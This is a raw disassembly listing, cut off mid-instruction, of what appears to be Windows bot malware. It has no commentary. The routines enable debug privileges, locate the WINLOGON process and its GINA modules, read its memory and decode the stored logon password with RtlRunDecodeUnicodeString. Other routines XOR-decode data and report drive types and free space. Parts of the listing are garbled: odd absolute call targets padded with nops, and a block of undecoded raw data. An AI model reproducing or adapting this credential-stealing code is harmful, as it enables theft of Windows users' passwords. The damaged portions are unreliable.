push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D808 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2690C14h cmp eax, edi jnz short loc_416878 call dword_4CB5AC call sub_41835A push esi call near ptr 77E75CB5h nop loc_416878: ; CODE XREF: ___:00416864j lea eax, [ebp-148h] push eax push offset unk_437D68 jmp short loc_416892 ; --------------------------------------------------------------------------- loc_416886: ; CODE XREF: ___:0041643Fj lea eax, [ebp-248h] push eax push offset unk_437D3C loc_416892: ; CODE XREF: ___:00416884j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C6 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 add esp, 14h loc_4168C6: ; CODE XREF: ___:004168A4j lea eax, [ebp-510h] push eax call sub_4151AD pop ecx loc_4168D3: ; CODE XREF: ___:00416696j ; ___:0041671Fj ... push dword ptr [ebp-18h] call dword_4CB688 push dword ptr [ebp-48h] call sub_40B413 pop ecx push esi nop call near ptr 2710000h ; =============== S U B R O U T I N E ======================================= sub_4168EC proc near ; CODE XREF: ___:00416518p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416908 loc_4168F8: ; CODE XREF: sub_4168EC+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F8 locret_416908: ; CODE XREF: sub_4168EC+Aj retn sub_4168EC endp ; =============== S U B R O U T I N E ======================================= sub_416909 proc near ; CODE XREF: sub_401ACD+5842p ; sub_401ACD+596Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416923 proc near ; CODE XREF: sub_40F96B+458p ; sub_40F96B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D3288 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416948: ; CODE XREF: sub_416923+5Bj ; sub_416923+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416986 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416948 mov byte ptr [esi], 2Ch inc esi jmp short loc_416948 ; --------------------------------------------------------------------------- loc_416986: ; CODE XREF: sub_416923+4Bj dec esi mov eax, edi loc_416989: ; CODE XREF: sub_416923+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416998 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416989 ; --------------------------------------------------------------------------- loc_416998: ; CODE XREF: sub_416923+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416923 endp ; =============== S U B R O U T I N E ======================================= sub_4169A2 proc near ; CODE XREF: sub_416B57+51p ; sub_416B57+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB6B4 sub eax, 0 jz short loc_4169E5 dec eax jz short loc_4169DF dec eax dec eax jz short loc_4169D9 dec eax jz short loc_4169D3 dec eax jz short loc_4169CD dec eax jz short loc_4169C7 mov eax, offset word_437F2C retn ; --------------------------------------------------------------------------- loc_4169C7: ; CODE XREF: sub_4169A2+1Dj mov eax, offset off_437F28 retn ; --------------------------------------------------------------------------- loc_4169CD: ; CODE XREF: sub_4169A2+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D3: ; CODE XREF: sub_4169A2+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D9: ; CODE XREF: sub_4169A2+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: sub_4169A2+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E5: ; CODE XREF: sub_4169A2+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EB proc near ; CODE XREF: sub_416A33+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB544 test eax, eax jz short loc_416A20 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A20: ; CODE XREF: sub_4169EB+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A33 proc near ; CODE XREF: sub_416B57+17p ; sub_41AA43+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EB pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B11 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B11 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B11 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416923 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416923 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416923 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B43 ; --------------------------------------------------------------------------- loc_416B11: ; CODE XREF: sub_416A33+2Cj ; sub_416A33+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B43: ; CODE XREF: sub_416A33+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B57 proc near ; CODE XREF: sub_416C29+17p ; sub_416C29+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A33 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BCA push ebx push ebx call sub_4169A2 pop ecx push eax push offset unk_437F7C lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFE ; --------------------------------------------------------------------------- loc_416BCA: ; CODE XREF: sub_416B57+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A2 pop ecx push eax push offset unk_437F40 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFE: ; CODE XREF: sub_416B57+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_500] push eax call sub_4151AD add esp, 18h pop edi pop esi pop ebx leave retn sub_416B57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C29 proc near ; CODE XREF: sub_401ACD+2554p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C4A push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B57 add esp, 10h jmp short loc_416CAB ; --------------------------------------------------------------------------- loc_416C4A: ; CODE XREF: sub_416C29+9j push esi push edi push ebx push ebx call dword_4CB5BC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CB5BC cmp [edi], bl mov esi, edi jz short loc_416CA2 loc_416C6E: ; CODE XREF: sub_416C29+77j push offset off_437FB8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C91 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B57 add esp, 10h loc_416C91: ; CODE XREF: sub_416C29+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6E loc_416CA2: ; CODE XREF: sub_416C29+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAB: ; CODE XREF: sub_416C29+1Fj pop ebx pop ebp retn sub_416C29 endp ; --------------------------------------------------------------------------- word_416CAE dw 8B55h ; DATA XREF: sub_401ACD+68A0o dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h dd 20068FFh, 0E8500000h, 4C60h, 3910C483h, 2075F85Dh, 64858D53h dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh dd 5Dh, 5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h, 50F475FFh dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h dd 535959FFh, 2F923BE8h, 5E5F9002h, 0EC8B555Bh, 54CEC81h dd 56530000h, 104BE57h, 75FF0000h, 0B8858D18h, 68FFFFFDh dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h dd 0C8BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 917EE890h, 0C0850237h dd 75FF8F75h, 71E890FCh, 0FF023591h, 858D1475h, 0FFFFFDB8h dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h, 0FFFFFEBCh dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h dd 2006800h, 0E8500000h, 4AA0h, 858D016Ah, 0FFFFFAB4h dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh, 858D28C4h dd 0FFFFFEBCh, 0E8905650h, 23790F8h, 0B175C085h, 90EEE856h dd 8B900235h, 5E5F1C45h ; --------------------------------------------------------------------------- pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1B proc near ; DATA XREF: sub_401ACD+1CD0o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F5 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F5A cmp eax, 2 jz short loc_416F5A push offset unk_4381F8 jmp loc_417099 ; --------------------------------------------------------------------------- loc_416F5A: ; CODE XREF: sub_416F1B+2Ej ; sub_416F1B+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx test eax, eax pop ecx jz loc_417094 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26E0000h mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D44CC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D44C0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D46D0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D44C8, eax call esi mov dword_4D44C4, eax call sub_4170ED test eax, eax mov [ebp+arg_0], eax jz loc_417067 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D34C0 push edi push ebx push offset off_438134 call esi push edi mov edi, offset dword_4D3CC0 push edi push offset off_43811C call esi cmp [ebp+var_4], 1 push offset dword_4D46D8 push [ebp+arg_0] jnz short loc_417013 call sub_417276 jmp short loc_417018 ; --------------------------------------------------------------------------- loc_417013: ; CODE XREF: sub_416F1B+EFj call sub_41741D loc_417018: ; CODE XREF: sub_416F1B+F6j pop ecx test eax, eax pop ecx jz short loc_417060 cmp dword_4D46D8, 0 jnz short loc_417047 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4380C0 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_41707A ; --------------------------------------------------------------------------- loc_417047: ; CODE XREF: sub_416F1B+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417057 call sub_417553 jmp short loc_41705C ; --------------------------------------------------------------------------- loc_417057: ; CODE XREF: sub_416F1B+133j call sub_4175EA loc_41705C: ; CODE XREF: sub_416F1B+13Aj pop ecx push eax jmp short loc_41706C ; --------------------------------------------------------------------------- loc_417060: ; CODE XREF: sub_416F1B+101j push offset unk_438088 jmp short loc_41706C ; --------------------------------------------------------------------------- loc_417067: ; CODE XREF: sub_416F1B+B6j push offset unk_43805C loc_41706C: ; CODE XREF: sub_416F1B+143j ; sub_416F1B+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_41707A: ; CODE XREF: sub_416F1B+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx pop ecx push [ebp+var_8] call near ptr 27C04C9h nop pop ebx jmp short loc_4170A7 ; --------------------------------------------------------------------------- loc_417094: ; CODE XREF: sub_416F1B+4Ej push offset unk_438028 loc_417099: ; CODE XREF: sub_416F1B+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A7: ; CODE XREF: sub_416F1B+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CE push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A73 add esp, 14h loc_4170CE: ; CODE XREF: sub_416F1B+191j lea eax, [ebp+var_29C] push eax call sub_4151AD push [ebp+var_18] call sub_40B413 pop ecx pop ecx push esi nop call near ptr 2710000h pop edi pop esi sub_416F1B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170ED proc near ; CODE XREF: sub_416F1B+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D44CC push ebp push 0 call esi push eax nop call near ptr 27D0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D44CC test eax, eax jnz short loc_4171DA mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171DA push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171DA loc_417176: ; CODE XREF: sub_4170ED+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CD push 0 push 0 call dword_4D44C0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D46D0 test eax, eax jnz short loc_4171BE mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F2 loc_4171BE: ; CODE XREF: sub_4170ED+AAj test edi, edi jz short loc_4171C9 push edi call dword_4D44C8 loc_4171C9: ; CODE XREF: sub_4170ED+D3j mov eax, [esp+28h+var_10] loc_4171CD: ; CODE XREF: sub_4170ED+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417176 loc_4171DA: ; CODE XREF: sub_4170ED+6Dj ; sub_4170ED+7Aj ... xor edi, edi loc_4171DC: ; CODE XREF: sub_4170ED+17Dj push ebp push 0 call esi push eax call near ptr 27D0000h nop mov eax, edi loc_4171EA: ; CODE XREF: sub_4170ED+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F2: ; CODE XREF: sub_4170ED+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725B lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417208: ; CODE XREF: sub_4170ED+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726F push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724D mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724D: ; CODE XREF: sub_4170ED+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417208 loc_41725B: ; CODE XREF: sub_4170ED+10Fj test edi, edi jz short loc_417266 push edi call dword_4D44C8 loc_417266: ; CODE XREF: sub_4170ED+170j mov edi, [esp+28h+var_4] jmp loc_4171DC ; --------------------------------------------------------------------------- loc_41726F: ; CODE XREF: sub_4170ED+13Cj xor eax, eax jmp loc_4171EA sub_4170ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417276 proc near ; CODE XREF: sub_416F1B+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 26B0259h cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729F xor eax, eax jmp loc_41741A ; --------------------------------------------------------------------------- loc_41729F: ; CODE XREF: sub_417276+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27F02E4h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EF xor esi, esi jmp loc_41740D ; --------------------------------------------------------------------------- loc_4172EF: ; CODE XREF: sub_417276+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27E0CA8h test eax, eax jz loc_4173FC mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FC test [ebp+var_2B], 1 jnz loc_4173FC push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FC loc_417352: ; CODE XREF: sub_417276+112j push edi push offset dword_4D34C0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_41737A lea eax, [edi+200h] push eax push offset dword_4D3CC0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_41738A loc_41737A: ; CODE XREF: sub_417276+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FC jmp short loc_417352 ; --------------------------------------------------------------------------- loc_41738A: ; CODE XREF: sub_417276+102j test edi, edi jz short loc_4173FC lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2780000h test eax, eax jz short loc_4173C5 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 27707B3h test eax, eax jz short loc_4173C5 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C5: ; CODE XREF: sub_417276+12Bj ; sub_417276+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D46E4, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D46DC, eax mov dword_4D46E0, edi loc_4173FC: ; CODE XREF: sub_417276+90j ; sub_417276+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27D0000h mov esi, [ebp+var_10] loc_41740D: ; CODE XREF: sub_417276+74j push [ebp+var_4] call near ptr 2690934h nop pop edi mov eax, esi pop ebx loc_41741A: ; CODE XREF: sub_417276+24j pop esi leave retn sub_417276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741D proc near ; CODE XREF: sub_416F1B:loc_417013p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26B0259h test eax, eax mov [ebp+arg_0], eax jz loc_41750F mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 27F02E4h nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417506 mov edi, dword_427148 loc_417468: ; CODE XREF: sub_41741D+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27E0CA8h test eax, eax jz short loc_4174F4 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174FA test [ebp+var_13], 1 jnz short loc_4174FA push ecx push 8 call edi push eax nop call near ptr 27E0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27F0000h nop test eax, eax jz short loc_4174E6 push offset dword_4D34C0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E6 lea eax, [esi+400h] push offset dword_4D3CC0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417516 loc_4174E6: ; CODE XREF: sub_41741D+9Fj ; sub_41741D+B0j push esi push 0 call edi push eax call near ptr 27D0000h nop jmp short loc_4174FA ; --------------------------------------------------------------------------- loc_4174F4: ; CODE XREF: sub_41741D+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174FA: ; CODE XREF: sub_41741D+71j ; sub_41741D+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417468 loc_417506: ; CODE XREF: sub_41741D+3Fj push [ebp+arg_0] nop call near ptr 2690934h loc_41750F: ; CODE XREF: sub_41741D+1Ej xor eax, eax loc_417511: ; CODE XREF: sub_41741D+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417516: ; CODE XREF: sub_41741D+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D46DC, ebx mov dword_4D46E0, eax cmp [eax], cl jnz short loc_417538 cmp [eax+1], cl jz short loc_417540 loc_417538: ; CODE XREF: sub_41741D+114j ; sub_41741D+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417538 loc_417540: ; CODE XREF: sub_41741D+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2690934h push 1 pop eax jmp short loc_417511 sub_41741D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417553 proc near ; CODE XREF: sub_416F1B+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D46D8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27E0000h mov ecx, dword_4D46D8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D46E0 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D46E4 push eax call dword_4D44C4 push [ebp+var_4] mov edi, offset dword_4D44D0 push offset dword_4D34C0 push offset dword_4D3CC0 push [ebp+arg_0] push offset dword_438244 push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27D0000h mov eax, edi pop edi pop esi leave retn sub_417553 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175EA proc near ; CODE XREF: sub_416F1B:loc_417057p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D46D8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 